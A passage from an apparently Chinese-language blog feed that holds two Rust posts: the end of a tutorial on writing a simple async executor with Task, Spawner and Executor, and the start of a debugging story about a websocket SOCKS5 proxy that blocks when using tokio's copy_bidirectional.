class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Future</span> <span class="keyword">for</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Output</span> = ();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll</span>(</span><br><span class="line">        <span class="keyword">self</span>: std::pin::Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> std::task::Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> std::task::Poll&lt;<span class="keyword">Self</span>::Output&gt; &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">shared_state</span> = <span class="keyword">self</span>.inner.shared_state.<span class="title function_ invoke__">lock</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">        <span class="keyword">if</span> shared_state.completed &#123;</span><br><span class="line">            Poll::<span class="title function_ invoke__">Ready</span>(())</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            shared_state.waker = <span class="title function_ invoke__">Some</span>(cx.<span class="title function_ invoke__">waker</span>().<span class="title function_ invoke__">clone</span>());</span><br><span class="line">            Poll::Pending</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="executor"><a href="#executor" class="headerlink" title="executor"></a>executor</h1><p>Rust 的 Future 是 lazy 的，可以通过在 async 函数里 await Future 来驱动它的执行。 那么谁来执行 Future 呢？答案就是 Future executor 。executor 会在有进展（比如 socket 有数据可读、socket 可写）的时候 poll Future 。在最开始的时候 executor 会执行 poll 一次 Future ，之后在 Future 有进展的时候会通过 wake 方法重新提交 Future 给 executor。</p><p>这里我们首先可以抽象出来一个 spwaner 负责首次提交 Future，由于 Future 本身并不知道如何将自己提交给 executor ，所以我们可以将 Future 和与 executor 交互的方式封装在 Task 结构体里，我们不是直接提交 Future 而是提交 Task 。那么如何与 executor 交互呢？同样也是，简单起见，我们通过 channel 来做件事，spwaner 持有 channel 发送端的引用，每个 Task 同样也持有 channel 发送端的引用。</p><p>到这里 executor 做的事情就显而易见了，executor 持有 channel 的接收端，在一个大 loop 里不断消费从 channel 拿到的 Task 执行。</p><h2 id="实现-Task"><a href="#实现-Task" class="headerlink" title="实现 Task"></a>实现 Task</h2><p>根据上文，我们可以简单的将 Future pin 在堆上拿到 BoxFuture，将 BoxFuture 的生命周期定义为 static ，Output 定义为空元组。另外由于 Future 可能需要在不同的 thread 上执行，所以需要实现 Send 和 Sync trait，我们可以通过 Mutex 包装下 Future ，通过 Mutex 获得 Sync 和 Send 的能力。那么我们可以定义 Task 如下：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Task</span> &#123;</span><br><span class="line">  future: Mutex&lt;<span class="type">Option</span>&lt;BoxFuture&lt;<span class="symbol">&#x27;static</span>, ()&gt;&gt;&gt;,</span><br><span class="line">  sync_sender: SyncSender&lt;Task&gt;, <span class="comment">// 通过 sender 提交 Task 给 executor</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为了能够 poll Future ，我们需要 waker ，当 wake 的时候 waker 可以告知 executor Future 可以再次执行了。我们预期 Task 在 wake 的时候可以再次提交自己给 executor ，因此我们可以为 Task 实现 ArcWake trait ，这样我们可以通过 <code>wake_ref()</code> 或者 <code>into_waker()</code> 将 <code>Arc&lt;impl ArcWake&gt;</code> 转换成 Waker。具体实现如下，在 wake 的时候将 task 再次发送给 channel。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">ArcWake</span> <span class="keyword">for</span> <span class="title class_">Task</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">wake_by_ref</span>(arc_self: &amp;Arc&lt;<span class="keyword">Self</span>&gt;) &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">cloned</span> = arc_self.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">        arc_self</span><br><span class="line">            .task_sender</span><br><span class="line">            .<span class="title function_ invoke__">send</span>(cloned)</span><br><span class="line">            .<span class="title function_ invoke__">expect</span>(<span class="string">&quot;too many tasks queued&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现-Spawner"><a href="#实现-Spawner" class="headerlink" title="实现 Spawner"></a>实现 Spawner</h2><p>Spwaner 持有 channel 的发送端，内容是 <code>Arc&lt;Task&gt;</code> 。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Spwaner</span> &#123;</span><br><span class="line">  sync_sender: SyncSender&lt;Arc&lt;Task&gt;&gt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为什么需要 Arc ？<code>方便后面直接通过 waker_ref()</code> 构造 Waker</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">waker_ref</span>&lt;W&gt;(wake: &amp;Arc&lt;W&gt;) <span class="punctuation">-&gt;</span> WakerRef&lt;<span class="symbol">&#x27;_</span>&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    W: ArcWake,</span><br><span class="line">&#123;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还需要为 Spawner 实现 spwan 方法，让它可以提交 Future</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Spawner</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">spawn</span>(&amp;<span class="keyword">self</span>, future: <span class="keyword">impl</span> <span class="title class_">Future</span>&lt;Output = ()&gt; + <span class="symbol">&#x27;static</span> + <span class="built_in">Send</span>) &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">future</span> = future.<span class="title function_ invoke__">boxed</span>();</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">task</span> = Arc::<span class="title function_ invoke__">new</span>(Task &#123;</span><br><span class="line">            future: Mutex::<span class="title function_ invoke__">new</span>(future),</span><br><span class="line">            sync_sender: <span class="keyword">self</span>.sync_sender.<span class="title function_ invoke__">clone</span>(),</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">self</span>.sync_sender.<span class="title function_ invoke__">send</span>(task).<span class="title function_ invoke__">expect</span>(<span class="string">&quot;too many tasks queued&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现-Executor"><a href="#实现-Executor" class="headerlink" title="实现 Executor"></a>实现 Executor</h2><p>Executor 持有 channel 的接收端</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Executor</span> &#123;</span><br><span class="line">    receiver: Receiver&lt;Arc&lt;Task&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>给 executor 实现 run 方法，拿到 task 的时候，首先把 future 从里面拿出来，构造 waker ，再构造 context ，接着 poll 这个 Future。回想下 TimerFuture 的实现，再 poll 的时候如果返回 pending ，我们会把 waker 传递给它，在它 sleep 结束通过这个 waker 唤醒 task</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Executor</span> &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">run</span>(&amp;<span class="keyword">self</span>) &#123;</span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Ok</span>(task) = <span class="keyword">self</span>.receiver.<span class="title function_ invoke__">recv</span>() &#123;</span><br><span class="line">            <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">future_slot</span> = task.future.<span class="title function_ invoke__">lock</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(<span class="keyword">mut</span> future) = future_slot.<span class="title function_ invoke__">take</span>() &#123;</span><br><span class="line">                <span class="keyword">let</span> <span class="variable">waker</span> = <span class="title function_ invoke__">waker_ref</span>(&amp;task);</span><br><span class="line">                <span class="keyword">let</span> <span class="variable">cx</span> = &amp;<span class="keyword">mut</span> Context::<span class="title function_ invoke__">from_waker</span>(&amp;waker);</span><br><span class="line">                <span class="keyword">if</span> future.<span class="title function_ invoke__">as_mut</span>().<span class="title function_ invoke__">poll</span>(cx).<span class="title function_ invoke__">is_pending</span>() &#123;</span><br><span class="line">                    *future_slot = <span class="title function_ invoke__">Some</span>(future);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="让这个简单的-executor-跑起来吧"><a href="#让这个简单的-executor-跑起来吧" class="headerlink" title="让这个简单的 executor 跑起来吧"></a>让这个简单的 executor 跑起来吧</h1><p>首先需要新建 Spwaner 和 Executor</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">new_executor_and_spawner</span>() <span class="punctuation">-&gt;</span> (Executor, Spawner) &#123;</span><br><span class="line">    <span class="keyword">const</span> MAX_QUEUED_TASKS: <span class="type">usize</span> = <span class="number">10_000</span>;</span><br><span class="line">    <span class="keyword">let</span> (sync_sender, receiver) = <span class="title function_ invoke__">sync_channel</span>(MAX_QUEUED_TASKS);</span><br><span class="line">    (Executor &#123; receiver &#125;, Spawner &#123; sync_sender &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样我们可以完成 main 方法了</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (executor, spawner) = <span class="title function_ invoke__">new_executor_and_spawner</span>();</span><br><span class="line"></span><br><span class="line">    spawner.<span class="title function_ invoke__">spawn</span>(<span class="keyword">async</span> &#123;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;&#123;:?&#125;&quot;</span>, Instant::<span class="title function_ invoke__">now</span>());</span><br><span class="line">        TimerFuture::<span class="title function_ invoke__">new</span>(Duration::<span class="title function_ invoke__">new</span>(<span class="number">2</span>, <span class="number">0</span>)).<span class="keyword">await</span>;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;&#123;:?&#125;&quot;</span>, Instant::<span class="title function_ invoke__">now</span>());</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">drop</span>(spawner); <span class="comment">// drop 的目的是为了让 executor 知道没有任务需要执行了</span></span><br><span class="line">  </span><br><span class="line">    executor.<span class="title function_ invoke__">run</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>实现一个简单的 executor 还是比较容易的，下一步计划基于 mio 写一个真的可以运行的 runtime ，国庆有事干了嘿嘿</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;本文大部分内容参考 &lt;a href=&quot;https://rust-lang.github.io/async-book/01_getting_started/01_chapter.html&quot;&gt;aysnc-book&lt;/a&gt;，介绍了如何实现一个简单的 executor，项目地址 &lt;a href=&quot;https://github.com/suikammd/simple-executor&quot;&gt;simple-executor&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;Rust 异步编程涉及到三个比较重要的概念： Future 、 executor 和 reactor 。executor 在 poll Future 的时候，会传递给 Future 一个 waker ，之后由reactor 会等待 Future 涉及的 event ，在 event 完成的时候再通过这个 waker 唤醒 executor 来继续执行这个 Future。&lt;/p&gt;
&lt;h1 id=&quot;Future&quot;&gt;&lt;a href=&quot;#Future&quot; class=&quot;headerlink&quot; title=&quot;Future&quot;&gt;&lt;/a&gt;Future&lt;/h1&gt;&lt;p&gt;Rust 异步编程的核心是 &lt;code&gt;Future&lt;/code&gt; trait。Future trait 有一个关联类型 Output ，它就是 Future 完成的时返回的结果。executor 会逐步 poll 这个 Future，直到 Future 完成&lt;/p&gt;
&lt;figure class=&quot;highlight rust&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;title class_&quot;&gt;Future&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;meta&quot;&gt;#[stable(feature = &lt;span class=&quot;string&quot;&gt;&amp;quot;futures_api&amp;quot;&lt;/span&gt;, since = &lt;span class=&quot;string&quot;&gt;&amp;quot;1.36.0&amp;quot;&lt;/span&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;title class_&quot;&gt;Output&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;meta&quot;&gt;#[lang = &lt;span class=&quot;string&quot;&gt;&amp;quot;poll&amp;quot;&lt;/span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;meta&quot;&gt;#[stable(feature = &lt;span class=&quot;string&quot;&gt;&amp;quot;futures_api&amp;quot;&lt;/span&gt;, since = &lt;span class=&quot;string&quot;&gt;&amp;quot;1.36.0&amp;quot;&lt;/span&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;title function_&quot;&gt;poll&lt;/span&gt;(&lt;span class=&quot;keyword&quot;&gt;self&lt;/span&gt;: Pin&amp;lt;&amp;amp;&lt;span class=&quot;keyword&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;Self&lt;/span&gt;&amp;gt;, cx: &amp;amp;&lt;span class=&quot;keyword&quot;&gt;mut&lt;/span&gt; Context&amp;lt;&lt;span class=&quot;symbol&quot;&gt;&amp;#x27;_&lt;/span&gt;&amp;gt;) &lt;span class=&quot;punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; Poll&amp;lt;&lt;span class=&quot;keyword&quot;&gt;Self&lt;/span&gt;::Output&amp;gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;当提交 Future 给 executor 的时候，executor 会 poll 这个 Future，如果返回 &lt;code&gt;Poll::Ready(Result)&lt;/code&gt;，这个 Future 就结束了，否则返回 &lt;code&gt;Poll::Pending&lt;/code&gt; 的话，就需要在 Future 下次可以 poll 的时候重新把 Future 提交给 executor，做这件事的其实就是通过调用 Waker 的 wake 方法&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/zh-Hans/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>记一次有趣的查bug之旅</title>
    <link href="https://suikammd.github.io/zh-Hans/2021/09/22/record-a-weird-bug-fix-travel/"/>
    <id>https://suikammd.github.io/zh-Hans/2021/09/22/record-a-weird-bug-fix-travel/</id>
    <published>2021-09-21T16:43:00.000Z</published>
    <updated>2026-11-19T12:58:15.312Z</updated>
    
    <content type="html"><![CDATA[<p>tokio 库提供了 <a href="https://docs.rs/tokio/1.6.1/tokio/io/fn.copy_bidirectional.html">copy_bidirectional</a> 方法，可以很方便地对于实现了 <code>AsyncRead+AsyncWrite</code> 的数据结构实现双向拷贝。在上一篇文章（还在持续修改）中，我基于 websocket 实现了一个简单代理，使用的 websocket 库是 <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#">tokio_tungstenite</a> 。</p><p>原本在client端我自定义了类似双向拷贝的函数，而不是直接使用 <code>copy_bidirectional</code> ，这是由于 <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#">tokio_tungstenite</a> 基于 TcpStream 构建的 WebSocketStream 并没有实现 <code>AsyncRead+AsyncWrite</code> 。另外，由于 <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#">tokio_tungstenite</a> 返回的的 WebSocketStream 没有对外暴露好用的 read 和 write 方法，只是实现了 Sink 和 Stream，不过它对外提供了 <a href="https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/struct.WebSocketStream.html#method.split">split</a> 方法，可以将 stream 的读写分别拆分开来，拆分出来的读无脑将读到的数据写到 TcpStream ，拆分出来的写无脑将从 TcpStream 读到的写到自己的 stream 。这样带来的问题是，在读写分离的情况下，不能够优雅的感知 Close 包，无法优雅的退出上述读写的流程。简单展示下原本的实现：</p><span id="more"></span><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// copy data from websocket to tcp</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">server_read_from_websocket_to_tcp</span>&lt;T&gt;(</span><br><span class="line">    <span class="keyword">mut</span> tcp_stream: T,</span><br><span class="line">    websocket_stream: &amp;<span class="keyword">mut</span> SplitStream&lt;WebSocketStream&lt;TlsStream&lt;TcpStream&gt;&gt;&gt;,</span><br><span class="line">) <span class="punctuation">-&gt;</span> ProxyResult&lt;()&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    T: AsyncWrite + Unpin,</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Some</span>(msg) = websocket_stream.<span class="title function_ invoke__">next</span>().<span class="keyword">await</span> &#123;</span><br><span class="line">        <span class="keyword">match</span> Packet::<span class="title function_ invoke__">to_packet</span>(msg?)? &#123;</span><br><span class="line">            Packet::<span class="title function_ invoke__">Connect</span>(_) =&gt; &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(ProxyError::<span class="title function_ invoke__">Unknown</span>(</span><br><span class="line">                    <span class="string">&quot;unexpected packet type `Connect`&quot;</span>.<span class="title function_ invoke__">into</span>(),</span><br><span class="line">                ))</span><br><span class="line">            &#125;</span><br><span class="line">            Packet::<span class="title function_ invoke__">Data</span>(data) =&gt; tcp_stream.<span class="title function_ invoke__">write_all</span>(&amp;data).<span class="keyword">await</span>?,</span><br><span class="line">            Packet::<span class="title function_ invoke__">Close</span>() =&gt; <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(()),</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// copy data from tcp to websocket</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">server_read_from_tcp_to_websocket</span>&lt;T&gt;(</span><br><span class="line">    <span class="keyword">mut</span> tcp_stream: T,</span><br><span class="line">    websocket_sink: &amp;<span class="keyword">mut</span> SplitSink&lt;WebSocketStream&lt;TlsStream&lt;TcpStream&gt;&gt;, Message&gt;,</span><br><span class="line">) <span class="punctuation">-&gt;</span> ProxyResult&lt;()&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">    T: AsyncRead + Unpin,</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">loop</span> &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">buffer</span> = <span class="built_in">vec!</span>[<span class="number">0</span>; <span class="number">1024</span>];</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">len</span> = tcp_stream.<span class="title function_ invoke__">read</span>(&amp;<span class="keyword">mut</span> buffer).<span class="keyword">await</span>?;</span><br><span class="line">        <span class="keyword">if</span> len == <span class="number">0</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">unsafe</span> &#123;</span><br><span class="line">            buffer.<span class="title function_ invoke__">set_len</span>(len);</span><br><span class="line">        &#125;</span><br><span class="line">        websocket_sink.<span class="title function_ invoke__">send</span>(Message::<span class="title function_ invoke__">binary</span>(buffer)).<span class="keyword">await</span>?;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="发现原本正常工作的-curl-block-住了"><a href="#发现原本正常工作的-curl-block-住了" class="headerlink" title="发现原本正常工作的 curl block 住了"></a>发现原本正常工作的 curl block 住了</h3><p>于是我就想自己包一下这个 WebSocketStream 并为它实现 <code>AsyncRead + AsyncWrite</code> ，这样我就可以使用 copy_bidirectional 的能力来帮我处理一部分 corner case，比如连接异常断开之类的。总之，这样我就应该可以直接使用 <code>copy_bidirectional</code>了， inbound 是 TcpStream， outbound 是 WebSocketStream </p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">_</span> = <span class="title function_ invoke__">copy_bidirectional</span>(&amp;<span class="keyword">mut</span> inbound, &amp;<span class="keyword">mut</span> outbound).<span class="keyword">await</span></span><br></pre></td></tr></table></figure><p>当我吭哧吭哧实现完，我的预期是立马就能跑起来（哈哈哈，蜜汁自信），我继续使用 curl 来测试代理</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -vvv --socks5 127.0.0.1:8081 t.cn</span><br></pre></td></tr></table></figure><p>本来预期返回 302 ，结果 curl 却 block 住了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">*   Trying 127.0.0.1:8081...</span><br><span class="line">* SOCKS5 connect to IPv4 47.95.48.149:80 (locally resolved)</span><br><span class="line">* SOCKS5 request granted.</span><br><span class="line">* Connected to 127.0.0.1 (127.0.0.1) port 8081 (<span class="comment">#0)</span></span><br><span class="line">&gt; GET / HTTP/1.1</span><br><span class="line">&gt; Host: t.cn</span><br><span class="line">&gt; User-Agent: curl/7.78.0</span><br><span class="line">&gt; Accept: */*</span><br><span class="line">&gt; </span><br></pre></td></tr></table></figure><p>难道是 <code>AsyncRead + AsyncWrite</code> 的实现有问题？简单过了下代码，也没有发现特别明显的问题，难道是库问题？当我产生这个想法后，开始了漫长的曲线救国之路</p><h4 id="更具体的问题表现"><a href="#更具体的问题表现" class="headerlink" title="更具体的问题表现"></a>更具体的问题表现</h4><p>代码的改动只在 client 端，但是以防万一还是尝试同时抓包下 client 端和 server 端是不是有问题。由于 client 和 server 建立的 websocket 连接的端口不好确定，所以这里直接考虑抓 server 收到和发出去的包</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo tcpdump -i lo -X dst port 8080</span><br><span class="line">sudo tcpdump -i lo -X src port 8080</span><br></pre></td></tr></table></figure><p>发现 websocket 握手是没有问题的， server 也将从 t.cn 收到的 302 包发给了 client ，既然连接上有数据，那为什么 client 读不到呢？下面是 client AsyncRead 的实现（具体实现省略掉了），我这里在具体实现前加了行日志，这样当 poll_read 的时候就应该打印出来 <code>poll.....</code></p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">AsyncRead</span> <span class="keyword">for</span> <span class="title class_">WebSocketStreamConnection</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_read</span>(</span><br><span class="line">        <span class="keyword">self</span>: std::pin::Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> std::task::Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">        buf: &amp;<span class="keyword">mut</span> ReadBuf&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> Poll&lt;std::io::<span class="type">Result</span>&lt;()&gt;&gt; &#123;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;poll.....&quot;</span>);</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当我重新运行代码，并没有预期的日志被打印出来。这时候我交换了下在   <code>copy_bidrectional </code>里的 inbound 和 outbound 的位置，重新运行代码，预期的日志打印出来了（这时候意识到可能是线程卡死了，比陷入无限循环中）。难道是 tokio 的实现有问题，更进一步的难道 tokio_tungstenite 的实现有问题？</p><h3 id="也许是-tokio-的-copy-bidirectional-出问题了"><a href="#也许是-tokio-的-copy-bidirectional-出问题了" class="headerlink" title="也许是 tokio 的 copy_bidirectional 出问题了"></a>也许是 tokio 的 copy_bidirectional 出问题了</h3><p>（在这一步深入了 tokio copy_bidirectional 的细节。。因为想要分享出来这次经历，也看了看 tokio_tungstenite 的实现）</p><h4 id="tokio-copy-bidrectional"><a href="#tokio-copy-bidrectional" class="headerlink" title="tokio copy_bidrectional"></a>tokio copy_bidrectional</h4><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span 